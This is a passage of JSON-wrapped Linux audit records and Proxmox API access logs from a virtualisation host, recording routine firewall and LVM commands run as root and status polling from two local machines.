subj=unconfined key=\"exec\""} {"@timestamp":1781965785732,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.732:67101): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1361a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64447 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.101:68218): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65513 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436017,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.017:61002): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965259511,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964529709,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964529.709:61411): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045994,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.994:68204): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965207168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965207.168:64631): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.723:67100): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.093:68217): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65512 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436011,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.011:61001): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965258219,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781964529709,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964529.709:61410): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045987,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.987:68203): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965206109,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.109:64627): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc4a80bee0 a1=61004196d310 a2=610041966680 a3=5 items=1 ppid=62089 pid=62090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785718,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.718:67099): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6259f7621740 items=0 ppid=1156 pid=64445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966046084,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.084:68216): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65511 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436007,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.007:61000): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965258219,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964525309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.309:61406): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd81576e10 a1=64f5d69c63d0 a2=64f5d69a4680 a3=5 items=1 ppid=58948 pid=58949 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045986,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.986:68202): argc=1 a0=\"date\""} {"@timestamp":1781965206018,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.018:64609): arch=c000003e syscall=59 success=no exit=-2 a0=7ffefe42a4b0 a1=6122e143e1c0 a2=6122e141c680 a3=5 items=1 ppid=62070 pid=62071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785714,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.714:67098): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc137f10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.078:68215): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65510 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436001,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.001:60999): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965258219,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:57 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964525229,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964525.229:61388): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe6b993b40 a1=57066d35c200 a2=57066d33a680 a3=5 items=1 ppid=58929 pid=58930 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045981,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.981:68200): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965202160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965202.160:64599): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785705,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.705:67097): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13f800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64444 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046068,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.068:68214): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65509 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964435994,"@rawstring":"node=pve type=EXECVE msg=audit(1781964435.994:60998): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965256409,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964524.698:61380): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58923 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045972,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.972:68199): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965202160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965202.160:64598): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.696:67096): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc148bd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64443 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.064:68213): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5f8ffd26e740 items=0 ppid=1156 pid=65508 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964434352,"@rawstring":"node=pve type=EXECVE msg=audit(1781964434.352:60997): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965256409,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964524.698:61379): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58923 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045964,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.964:68198): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965202154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965202.154:64596): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785687,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.687:67095): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ea790 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64442 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046062,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.062:68212): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc14a800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65508 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964434345,"@rawstring":"node=pve type=EXECVE msg=audit(1781964434.345:60994): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965256409,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964524692,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964524.692:61377): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58922 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045957,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.957:68197): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965202154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965202.154:64595): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.676:67094): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148bd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64441 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046055,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.055:68211): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4500 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65507 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964434212,"@rawstring":"node=pve type=EXECVE msg=audit(1781964434.212:60991): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965256409,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964524692,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964524.692:61376): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58922 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045946,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.946:68196): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965197142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965197.142:64593): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.667:67093): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc0c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.048:68210): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e89b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964434179,"@rawstring":"node=pve type=EXECVE msg=audit(1781964434.179:60990): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965254687,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 497"} {"@timestamp":1781964519681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964519.681:61369): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58912 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045936,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.936:68195): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965197142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965197.142:64592): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785654,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.654:67092): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046040,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.040:68209): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecff0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964429334,"@rawstring":"node=pve type=EXECVE msg=audit(1781964429.334:60989): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965254687,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781964519681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964519.681:61368): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58912 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045195,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.195:68194): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965197135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965197.135:64590): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62055 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.642:67091): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64438 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.027:68208): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed020 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65504 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964429321,"@rawstring":"node=pve type=EXECVE msg=audit(1781964429.321:60986): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965254687,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964519675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964519.675:61366): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58911 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966045187,"@rawstring":"node=pve type=EXECVE msg=audit(1781966045.187:68191): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965197135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965197.135:64589): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62055 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785635,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.635:67090): arch=c000003e syscall=59 success=yes exit=0 a0=5d8e96f0ae90 a1=5d8e96f07c10 a2=5d8e96ee9680 a3=5 items=2 ppid=64431 pid=64437 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.016:68207): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac9060 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65503 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964425983,"@rawstring":"node=pve type=EXECVE msg=audit(1781964425.983:60983): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965253377,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:52 +0100] \"GET 